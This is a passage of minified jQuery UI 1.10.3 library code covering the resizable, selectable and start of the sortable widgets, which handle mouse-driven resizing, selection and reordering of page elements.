this.handles)this.handles[i].constructor===String&&(this.handles[i]=t(this.handles[i],this.element).show()),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)&&(s=t(this.handles[i],this.element),o=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),n=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),e.css(n,o),this._proportionallyResize()),t(this.handles[i]).length},this._renderAxis(this.element),this._handles=t(".ui-resizable-handle",this.element).disableSelection(),this._handles.mouseover(function(){a.resizing||(this.className&&(n=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),a.axis=n&&n[1]?n[1]:"se")}),r.autoHide&&(this._handles.hide(),t(this.element).addClass("ui-resizable-autohide").mouseenter(function(){r.disabled||(t(this).removeClass("ui-resizable-autohide"),a._handles.show())}).mouseleave(function(){r.disabled||a.resizing||(t(this).addClass("ui-resizable-autohide"),a._handles.hide())})),this._mouseInit()},_destroy:function(){this._mouseDestroy();var e,i=function(e){t(e).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").removeData("ui-resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};return this.elementIsWrapper&&(i(this.element),e=this.element,this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")}).insertAfter(e),e.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_mouseCapture:function(e){var i,s,n=!1;for(i in this.handles)s=t(this.handles[i])[0],(s===e.target||t.contains(s,e.target))&&(n=!0);return!this.options.disabled&&n},_mouseStart:function(i){var s,n,o,a=this.options,r=this.element.position(),h=this.element;return this.resizing=!0,/absolute/.test(h.css("position"))?h.css({position:"absolute",top:h.css("top"),left:h.css("left")}):h.is(".ui-draggable")&&h.css({position:"absolute",top:r.top,left:r.left}),this._renderProxy(),s=e(this.helper.css("left")),n=e(this.helper.css("top")),a.containment&&(s+=t(a.containment).scrollLeft()||0,n+=t(a.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:s,top:n},this.size=this._helper?{width:h.outerWidth(),height:h.outerHeight()}:{width:h.width(),height:h.height()},this.originalSize=this._helper?{width:h.outerWidth(),height:h.outerHeight()}:{width:h.width(),height:h.height()},this.originalPosition={left:s,top:n},this.sizeDiff={width:h.outerWidth()-h.width(),height:h.outerHeight()-h.height()},this.originalMousePosition={left:i.pageX,top:i.pageY},this.aspectRatio="number"==typeof a.aspectRatio?a.aspectRatio:this.originalSize.width/this.originalSize.height||1,o=t(".ui-resizable-"+this.axis).css("cursor"),t("body").css("cursor","auto"===o?this.axis+"-resize":o),h.addClass("ui-resizable-resizing"),this._propagate("start",i),!0},_mouseDrag:function(e){var i,s=this.helper,n={},o=this.originalMousePosition,a=this.axis,r=this.position.top,h=this.position.left,l=this.size.width,c=this.size.height,u=e.pageX-o.left||0,d=e.pageY-o.top||0,p=this._change[a];return p?(i=p.apply(this,[e,u,d]),this._updateVirtualBoundaries(e.shiftKey),(this._aspectRatio||e.shiftKey)&&(i=this._updateRatio(i,e)),i=this._respectSize(i,e),this._updateCache(i),this._propagate("resize",e),this.position.top!==r&&(n.top=this.position.top+"px"),this.position.left!==h&&(n.left=this.position.left+"px"),this.size.width!==l&&(n.width=this.size.width+"px"),this.size.height!==c&&(n.height=this.size.height+"px"),s.css(n),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),t.isEmptyObject(n)||this._trigger("resize",e,this.ui()),!1):!1},_mouseStop:function(e){this.resizing=!1;var i,s,n,o,a,r,h,l=this.options,c=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),n=s&&t.ui.hasScroll(i[0],"left")?0:c.sizeDiff.height,o=s?0:c.sizeDiff.width,a={width:c.helper.width()-o,height:c.helper.height()-n},r=parseInt(c.element.css("left"),10)+(c.position.left-c.originalPosition.left)||null,h=parseInt(c.element.css("top"),10)+(c.position.top-c.originalPosition.top)||null,l.animate||this.element.css(t.extend(a,{top:h,left:r})),c.helper.height(c.size.height),c.helper.width(c.size.width),this._helper&&!l.animate&&this._proportionallyResize()),t("body").css("cursor","auto"),this.element.removeClass("ui-resizable-resizing"),this._propagate("stop",e),this._helper&&this.helper.remove(),!1},_updateVirtualBoundaries:function(t){var e,s,n,o,a,r=this.options;a={minWidth:i(r.minWidth)?r.minWidth:0,maxWidth:i(r.maxWidth)?r.maxWidth:1/0,minHeight:i(r.minHeight)?r.minHeight:0,maxHeight:i(r.maxHeight)?r.maxHeight:1/0},(this._aspectRatio||t)&&(e=a.minHeight*this.aspectRatio,n=a.minWidth/this.aspectRatio,s=a.maxHeight*this.aspectRatio,o=a.maxWidth/this.aspectRatio,e>a.minWidth&&(a.minWidth=e),n>a.minHeight&&(a.minHeight=n),a.maxWidth>s&&(a.maxWidth=s),a.maxHeight>o&&(a.maxHeight=o)),this._vBoundaries=a},_updateCache:function(t){this.offset=this.helper.offset(),i(t.left)&&(this.position.left=t.left),i(t.top)&&(this.position.top=t.top),i(t.height)&&(this.size.height=t.height),i(t.width)&&(this.size.width=t.width)},_updateRatio:function(t){var e=this.position,s=this.size,n=this.axis;return i(t.height)?t.width=t.height*this.aspectRatio:i(t.width)&&(t.height=t.width/this.aspectRatio),"sw"===n&&(t.left=e.left+(s.width-t.width),t.top=null),"nw"===n&&(t.top=e.top+(s.height-t.height),t.left=e.left+(s.width-t.width)),t},_respectSize:function(t){var e=this._vBoundaries,s=this.axis,n=i(t.width)&&e.maxWidth&&e.maxWidth<t.width,o=i(t.height)&&e.maxHeight&&e.maxHeight<t.height,a=i(t.width)&&e.minWidth&&e.minWidth>t.width,r=i(t.height)&&e.minHeight&&e.minHeight>t.height,h=this.originalPosition.left+this.originalSize.width,l=this.position.top+this.size.height,c=/sw|nw|w/.test(s),u=/nw|ne|n/.test(s);return a&&(t.width=e.minWidth),r&&(t.height=e.minHeight),n&&(t.width=e.maxWidth),o&&(t.height=e.maxHeight),a&&c&&(t.left=h-e.minWidth),n&&c&&(t.left=h-e.maxWidth),r&&u&&(t.top=l-e.minHeight),o&&u&&(t.top=l-e.maxHeight),t.width||t.height||t.left||!t.top?t.width||t.height||t.top||!t.left||(t.left=null):t.top=null,t},_proportionallyResize:function(){if(this._proportionallyResizeElements.length){var t,e,i,s,n,o=this.helper||this.element;for(t=0;this._proportionallyResizeElements.length>t;t++){if(n=this._proportionallyResizeElements[t],!this.borderDif)for(this.borderDif=[],i=[n.css("borderTopWidth"),n.css("borderRightWidth"),n.css("borderBottomWidth"),n.css("borderLeftWidth")],s=[n.css("paddingTop"),n.css("paddingRight"),n.css("paddingBottom"),n.css("paddingLeft")],e=0;i.length>e;e++)this.borderDif[e]=(parseInt(i[e],10)||0)+(parseInt(s[e],10)||0);n.css({height:o.height()-this.borderDif[0]-this.borderDif[2]||0,width:o.width()-this.borderDif[1]-this.borderDif[3]||0})}}},_renderProxy:function(){var e=this.element,i=this.options;this.elementOffset=e.offset(),this._helper?(this.helper=this.helper||t("<div style='overflow:hidden;'></div>"),this.helper.addClass(this._helper).css({width:this.element.outerWidth()-1,height:this.element.outerHeight()-1,position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(t,e){return{width:this.originalSize.width+e}},w:function(t,e){var i=this.originalSize,s=this.originalPosition;return{left:s.left+e,width:i.width-e}},n:function(t,e,i){var s=this.originalSize,n=this.originalPosition;return{top:n.top+i,height:s.height-i}},s:function(t,e,i){return{height:this.originalSize.height+i}},se:function(e,i,s){return t.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[e,i,s]))},sw:function(e,i,s){return t.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[e,i,s]))},ne:function(e,i,s){return t.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[e,i,s]))},nw:function(e,i,s){return t.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[e,i,s]))}},_propagate:function(e,i){t.ui.plugin.call(this,e,[i,this.ui()]),"resize"!==e&&this._trigger(e,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),t.ui.plugin.add("resizable","animate",{stop:function(e){var i=t(this).data("ui-resizable"),s=i.options,n=i._proportionallyResizeElements,o=n.length&&/textarea/i.test(n[0].nodeName),a=o&&t.ui.hasScroll(n[0],"left")?0:i.sizeDiff.height,r=o?0:i.sizeDiff.width,h={width:i.size.width-r,height:i.size.height-a},l=parseInt(i.element.css("left"),10)+(i.position.left-i.originalPosition.left)||null,c=parseInt(i.element.css("top"),10)+(i.position.top-i.originalPosition.top)||null;i.element.animate(t.extend(h,c&&l?{top:c,left:l}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseInt(i.element.css("width"),10),height:parseInt(i.element.css("height"),10),top:parseInt(i.element.css("top"),10),left:parseInt(i.element.css("left"),10)};n&&n.length&&t(n[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate("resize",e)}})}}),t.ui.plugin.add("resizable","containment",{start:function(){var i,s,n,o,a,r,h,l=t(this).data("ui-resizable"),c=l.options,u=l.element,d=c.containment,p=d instanceof t?d.get(0):/parent/.test(d)?u.parent().get(0):d;p&&(l.containerElement=t(p),/document/.test(d)||d===document?(l.containerOffset={left:0,top:0},l.containerPosition={left:0,top:0},l.parentData={element:t(document),left:0,top:0,width:t(document).width(),height:t(document).height()||document.body.parentNode.scrollHeight}):(i=t(p),s=[],t(["Top","Right","Left","Bottom"]).each(function(t,n){s[t]=e(i.css("padding"+n))}),l.containerOffset=i.offset(),l.containerPosition=i.position(),l.containerSize={height:i.innerHeight()-s[3],width:i.innerWidth()-s[1]},n=l.containerOffset,o=l.containerSize.height,a=l.containerSize.width,r=t.ui.hasScroll(p,"left")?p.scrollWidth:a,h=t.ui.hasScroll(p)?p.scrollHeight:o,l.parentData={element:p,left:n.left,top:n.top,width:r,height:h}))},resize:function(e){var i,s,n,o,a=t(this).data("ui-resizable"),r=a.options,h=a.containerOffset,l=a.position,c=a._aspectRatio||e.shiftKey,u={top:0,left:0},d=a.containerElement;d[0]!==document&&/static/.test(d.css("position"))&&(u=h),l.left<(a._helper?h.left:0)&&(a.size.width=a.size.width+(a._helper?a.position.left-h.left:a.position.left-u.left),c&&(a.size.height=a.size.width/a.aspectRatio),a.position.left=r.helper?h.left:0),l.top<(a._helper?h.top:0)&&(a.size.height=a.size.height+(a._helper?a.position.top-h.top:a.position.top),c&&(a.size.width=a.size.height*a.aspectRatio),a.position.top=a._helper?h.top:0),a.offset.left=a.parentData.left+a.position.left,a.offset.top=a.parentData.top+a.position.top,i=Math.abs((a._helper?a.offset.left-u.left:a.offset.left-u.left)+a.sizeDiff.width),s=Math.abs((a._helper?a.offset.top-u.top:a.offset.top-h.top)+a.sizeDiff.height),n=a.containerElement.get(0)===a.element.parent().get(0),o=/relative|absolute/.test(a.containerElement.css("position")),n&&o&&(i-=a.parentData.left),i+a.size.width>=a.parentData.width&&(a.size.width=a.parentData.width-i,c&&(a.size.height=a.size.width/a.aspectRatio)),s+a.size.height>=a.parentData.height&&(a.size.height=a.parentData.height-s,c&&(a.size.width=a.size.height*a.aspectRatio))},stop:function(){var e=t(this).data("ui-resizable"),i=e.options,s=e.containerOffset,n=e.containerPosition,o=e.containerElement,a=t(e.helper),r=a.offset(),h=a.outerWidth()-e.sizeDiff.width,l=a.outerHeight()-e.sizeDiff.height;e._helper&&!i.animate&&/relative/.test(o.css("position"))&&t(this).css({left:r.left-n.left-s.left,width:h,height:l}),e._helper&&!i.animate&&/static/.test(o.css("position"))&&t(this).css({left:r.left-n.left-s.left,width:h,height:l})}}),t.ui.plugin.add("resizable","alsoResize",{start:function(){var e=t(this).data("ui-resizable"),i=e.options,s=function(e){t(e).each(function(){var e=t(this);e.data("ui-resizable-alsoresize",{width:parseInt(e.width(),10),height:parseInt(e.height(),10),left:parseInt(e.css("left"),10),top:parseInt(e.css("top"),10)})})};"object"!=typeof i.alsoResize||i.alsoResize.parentNode?s(i.alsoResize):i.alsoResize.length?(i.alsoResize=i.alsoResize[0],s(i.alsoResize)):t.each(i.alsoResize,function(t){s(t)})},resize:function(e,i){var s=t(this).data("ui-resizable"),n=s.options,o=s.originalSize,a=s.originalPosition,r={height:s.size.height-o.height||0,width:s.size.width-o.width||0,top:s.position.top-a.top||0,left:s.position.left-a.left||0},h=function(e,s){t(e).each(function(){var e=t(this),n=t(this).data("ui-resizable-alsoresize"),o={},a=s&&s.length?s:e.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];t.each(a,function(t,e){var i=(n[e]||0)+(r[e]||0);i&&i>=0&&(o[e]=i||null)}),e.css(o)})};"object"!=typeof n.alsoResize||n.alsoResize.nodeType?h(n.alsoResize):t.each(n.alsoResize,function(t,e){h(t,e)})},stop:function(){t(this).removeData("resizable-alsoresize")}}),t.ui.plugin.add("resizable","ghost",{start:function(){var e=t(this).data("ui-resizable"),i=e.options,s=e.size;e.ghost=e.originalElement.clone(),e.ghost.css({opacity:.25,display:"block",position:"relative",height:s.height,width:s.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass("string"==typeof i.ghost?i.ghost:""),e.ghost.appendTo(e.helper)},resize:function(){var e=t(this).data("ui-resizable");e.ghost&&e.ghost.css({position:"relative",height:e.size.height,width:e.size.width})},stop:function(){var e=t(this).data("ui-resizable");e.ghost&&e.helper&&e.helper.get(0).removeChild(e.ghost.get(0))}}),t.ui.plugin.add("resizable","grid",{resize:function(){var e=t(this).data("ui-resizable"),i=e.options,s=e.size,n=e.originalSize,o=e.originalPosition,a=e.axis,r="number"==typeof i.grid?[i.grid,i.grid]:i.grid,h=r[0]||1,l=r[1]||1,c=Math.round((s.width-n.width)/h)*h,u=Math.round((s.height-n.height)/l)*l,d=n.width+c,p=n.height+u,f=i.maxWidth&&d>i.maxWidth,g=i.maxHeight&&p>i.maxHeight,m=i.minWidth&&i.minWidth>d,v=i.minHeight&&i.minHeight>p;i.grid=r,m&&(d+=h),v&&(p+=l),f&&(d-=h),g&&(p-=l),/^(se|s|e)$/.test(a)?(e.size.width=d,e.size.height=p):/^(ne)$/.test(a)?(e.size.width=d,e.size.height=p,e.position.top=o.top-u):/^(sw)$/.test(a)?(e.size.width=d,e.size.height=p,e.position.left=o.left-c):(e.size.width=d,e.size.height=p,e.position.top=o.top-u,e.position.left=o.left-c)}})}(jQuery),function(t){t.widget("ui.selectable",t.ui.mouse,{version:"1.10.3",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var e,i=this;this.element.addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){e=t(i.options.filter,i.element[0]),e.addClass("ui-selectee"),e.each(function(){var e=t(this),i=e.offset();t.data(this,"selectable-item",{element:this,$element:e,left:i.left,top:i.top,right:i.left+e.outerWidth(),bottom:i.top+e.outerHeight(),startselected:!1,selected:e.hasClass("ui-selected"),selecting:e.hasClass("ui-selecting"),unselecting:e.hasClass("ui-unselecting")})})},this.refresh(),this.selectees=e.addClass("ui-selectee"),this._mouseInit(),this.helper=t("<div class='ui-selectable-helper'></div>")},_destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item"),this.element.removeClass("ui-selectable ui-selectable-disabled"),this._mouseDestroy()},_mouseStart:function(e){var i=this,s=this.options;this.opos=[e.pageX,e.pageY],this.options.disabled||(this.selectees=t(s.filter,this.element[0]),this._trigger("start",e),t(s.appendTo).append(this.helper),this.helper.css({left:e.pageX,top:e.pageY,width:0,height:0}),s.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var s=t.data(this,"selectable-item");s.startselected=!0,e.metaKey||e.ctrlKey||(s.$element.removeClass("ui-selected"),s.selected=!1,s.$element.addClass("ui-unselecting"),s.unselecting=!0,i._trigger("unselecting",e,{unselecting:s.element}))}),t(e.target).parents().addBack().each(function(){var s,n=t.data(this,"selectable-item");return n?(s=!e.metaKey&&!e.ctrlKey||!n.$element.hasClass("ui-selected"),n.$element.removeClass(s?"ui-unselecting":"ui-selected").addClass(s?"ui-selecting":"ui-unselecting"),n.unselecting=!s,n.selecting=s,n.selected=s,s?i._trigger("selecting",e,{selecting:n.element}):i._trigger("unselecting",e,{unselecting:n.element}),!1):undefined}))},_mouseDrag:function(e){if(this.dragged=!0,!this.options.disabled){var i,s=this,n=this.options,o=this.opos[0],a=this.opos[1],r=e.pageX,h=e.pageY;return o>r&&(i=r,r=o,o=i),a>h&&(i=h,h=a,a=i),this.helper.css({left:o,top:a,width:r-o,height:h-a}),this.selectees.each(function(){var i=t.data(this,"selectable-item"),l=!1;i&&i.element!==s.element[0]&&("touch"===n.tolerance?l=!(i.left>r||o>i.right||i.top>h||a>i.bottom):"fit"===n.tolerance&&(l=i.left>o&&r>i.right&&i.top>a&&h>i.bottom),l?(i.selected&&(i.$element.removeClass("ui-selected"),i.selected=!1),i.unselecting&&(i.$element.removeClass("ui-unselecting"),i.unselecting=!1),i.selecting||(i.$element.addClass("ui-selecting"),i.selecting=!0,s._trigger("selecting",e,{selecting:i.element}))):(i.selecting&&((e.metaKey||e.ctrlKey)&&i.startselected?(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.$element.addClass("ui-selected"),i.selected=!0):(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.startselected&&(i.$element.addClass("ui-unselecting"),i.unselecting=!0),s._trigger("unselecting",e,{unselecting:i.element}))),i.selected&&(e.metaKey||e.ctrlKey||i.startselected||(i.$element.removeClass("ui-selected"),i.selected=!1,i.$element.addClass("ui-unselecting"),i.unselecting=!0,s._trigger("unselecting",e,{unselecting:i.element})))))}),!1}},_mouseStop:function(e){var i=this;return this.dragged=!1,t(".ui-unselecting",this.element[0]).each(function(){var s=t.data(this,"selectable-item");s.$element.removeClass("ui-unselecting"),s.unselecting=!1,s.startselected=!1,i._trigger("unselected",e,{unselected:s.element})}),t(".ui-selecting",this.element[0]).each(function(){var s=t.data(this,"selectable-item");s.$element.removeClass("ui-selecting").addClass("ui-selected"),s.selecting=!1,s.selected=!0,s.startselected=!0,i._trigger("selected",e,{selected:s.element})}),this._trigger("stop",e),this.helper.remove(),!1}})}(jQuery),function(t){function e(t,e,i){return t>e&&e+i>t}function i(t){return/left|right/.test(t.css("float"))||/inline|table-cell/.test(t.css("display"))}t.widget("ui.sortable",t.ui.mouse,{version:"1.10.3",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_create:function(){var t=this.options;this.containerCache={},this.element.addClass("ui-sortable"),this.refresh(),this.floating=this.items.length?"x"===t.axis||i(this.items[0].item):!1,this.offset=this.element.offset(),this._mouseInit(),this.ready=!0},_destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled"),this._mouseDestroy();for(var t=this.items.length-1;t>=0;t--)this.items[t].item.removeData(this.widgetName+"-item");return this},_setOption:function(e,i){"disabled"===e?(this.options[e]=i,this.widget().toggleClass("ui-sortable-disabled",!!i)):t.Widget.prototype._setOption.apply(this,arguments)},_mouseCapture:function(e,i){var s=null,n=!1,o=this;return this.reverting?!1:this.options.disabled||"static"===this.options.type?!1:(this._refreshItems(e),t(e.target).parents().each(function(){return t.data(this,o.widgetName+"-item")===o?(s=t(this),!1):undefined}),t.data(e.target,o.widgetName+"-item")===o&&(s=t(e.target)),s?!this.options.handle||i||(t(this.options.handle,s).find("*").addBack().each(function(){this===e.target&&(n=!0)}),n)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(e,i,s){var n,o,a=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(e),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},t.extend(this.offset,{click:{left:e.pageX-this.offset.left,top:e.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),this.originalPosition=this._generatePosition(e),this.originalPageX=e.pageX,this.originalPageY=e.pageY,a.cursorAt&&this._adjustOffsetFromHelper(a.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),a.containment&&this._setContainment(),a.cursor&&"auto"!==a.cursor&&(o=this.document.find("body"),this.storedCursor=o.css("cursor"),o.css("cursor",a.cursor),this.storedStylesheet=t("<style>*{ cursor: "+a.cursor+" !important; }</style>").appendTo(o)),a.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",a.opacity)),a.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",a.zIndex)),this.scrollParent[0]!==document&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",e,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(n=this.containers.length-1;n>=0;n--)this.containers[n]._trigger("activate",e,this._uiHash(this));return t.ui.ddmanager&&(t.ui.ddmanager.current=this),t.ui.ddmanager&&!a.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this.dragging=!0,this.helper.addClass("ui-sortable-helper"),this._mouseDrag(e),!0},_mouseDrag:function(e){var i,s,n,o,a=this.options,r=!1;for(this.position=this._generatePosition(e),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==document&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-e.pageY<a.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+a.scrollSpeed:e.pageY-this.overflowOffset.top<a.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-a.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-e.pageX<a.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+a.scrollSpeed:e.pageX-this.overflowOffset.left<a.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-a.scrollSpeed)):(e.pageY-t(document).scrollTop()<a.scrollSensitivity?r=t(document).scrollTop(t(document).scrollTop()-a.scrollSpeed):t(window).height()-(e.pageY-t(document).scrollTop())<a.scrollSensitivity&&(r=t(document).scrollTop(t(document).scrollTop()+a.scrollSpeed)),e.pageX-t(document).scrollLeft()<a.scrollSensitivity?r=t(document).scrollLeft(t(document).scrollLeft()-a.scrollSpeed):t(window).width()-(e.pageX-t(document).scrollLeft())<a.scrollSensitivity&&(r=t(document).scrollLeft(t(document).scrollLeft()+a.scrollSpeed))),r!==!1&&t.ui.ddmanager&&!a.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e)),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],n=s.item[0],o=this._intersectsWithPointer(s),o&&s.instance===this.currentContainer&&n!==this.currentItem[0]&&this.placeholder[1===o?"next":"prev"]()[0]!==n&&!t.contains(this.placeholder[0],n)&&("semi-dynamic"===this.options.type?!t.contains(this.element[0],n):!0)){if(this.direction=1===o?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(s))break;
this._rearrange(e,s),this._trigger("change",e,this._uiHash());break}return this._contactContainers(e),t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),this._trigger("sort",e,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(e,i){if(e){if(t.ui.ddmanager&&!this.options.dropBehaviour&&t.ui.ddmanager.drop(this,e),this.options.revert){var s=this,n=this.placeholder.offset(),o=this.options.axis,a={};o&&"x"!==o||(a.left=n.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===document.body?0:this.offsetParent[0].scrollLeft)),o&&"y"!==o||(a.top=n.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===document.body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,t(this.helper).animate(a,parseInt(this.options.revert,10)||500,function(){s._clear(e)})}else this._clear(e,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp({target:null}),"original"===this.options.helper?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var e=this.containers.length-1;e>=0;e--)this.containers[e]._trigger("deactivate",null,this._uiHash(this)),this.containers[e].containerCache.over&&(this.containers[e]._trigger("out",null,this._uiHash(this)),this.containers[e].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),t.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?t(this.domPosition.prev).after(this.currentItem):t(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(e){var i=this._getItemsAsjQuery(e&&e.connected),s=[];return e=e||{},t(i).each(function(){var i=(t(e.item||this).attr(e.attribute||"id")||"").match(e.expression||/(.+)[\-=_](.+)/);i&&s.push((e.key||i[1]+"[]")+"="+(e.key&&e.expression?i[1]:i[2]))}),!s.length&&e.key&&s.push(e.key+"="),s.join("&")},toArray:function(e){var i=this._getItemsAsjQuery(e&&e.connected),s=[];return e=e||{},i.each(function(){s.push(t(e.item||this).attr(e.attribute||"id")||"")}),s},_intersectsWith:function(t){var e=this.positionAbs.left,i=e+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,o=t.left,a=o+t.width,r=t.top,h=r+t.height,l=this.offset.click.top,c=this.offset.click.left,u="x"===this.options.axis||s+l>r&&h>s+l,d="y"===this.options.axis||e+c>o&&a>e+c,p=u&&d;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>t[this.floating?"width":"height"]?p:e+this.helperProportions.width/2>o&&a>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&h>n-this.helperProportions.height/2},_intersectsWithPointer:function(t){var i="x"===this.options.axis||e(this.positionAbs.top+this.offset.click.top,t.top,t.height),s="y"===this.options.axis||e(this.positionAbs.left+this.offset.click.left,t.left,t.width),n=i&&s,o=this._getDragVerticalDirection(),a=this._getDragHorizontalDirection();return n?this.floating?a&&"right"===a||"down"===o?2:1:o&&("down"===o?2:1):!1},_intersectsWithSides:function(t){var i=e(this.positionAbs.top+this.offset.click.top,t.top+t.height/2,t.height),s=e(this.positionAbs.left+this.offset.click.left,t.left+t.width/2,t.width),n=this._getDragVerticalDirection(),o=this._getDragHorizontalDirection();return this.floating&&o?"right"===o&&s||"left"===o&&!s:n&&("down"===n&&i||"up"===n&&!i)},_getDragVerticalDirection:function(){var t=this.positionAbs.top-this.lastPositionAbs.top;return 0!==t&&(t>0?"down":"up")},_getDragHorizontalDirection:function(){var t=this.positionAbs.left-this.lastPositionAbs.left;return 0!==t&&(t>0?"right":"left")},refresh:function(t){return this._refreshItems(t),this.refreshPositions(),this},_connectWith:function(){var t=this.options;return t.connectWith.constructor===String?[t.connectWith]:t.connectWith},_getItemsAsjQuery:function(e){var i,s,n,o,a=[],r=[],h=this._connectWith();if(h&&e)for(i=h.length-1;i>=0;i--)for(n=t(h[i]),s=n.length-1;s>=0;s--)o=t.data(n[s],this.widgetFullName),o&&o!==this&&!o.options.disabled&&r.push([t.isFunction(o.options.items)?o.options.items.call(o.element):t(o.options.items,o.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),o]);for(r.push([t.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):t(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),i=r.length-1;i>=0;i--)r[i][0].each(function(){a.push(this)});return t(a)},_removeCurrentsFromItems:function(){var e=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=t.grep(this.items,function(t){for(var i=0;e.length>i;i++)if(e[i]===t.item[0])return!1;return!0})},_refreshItems:function(e){this.items=[],this.containers=[this];var 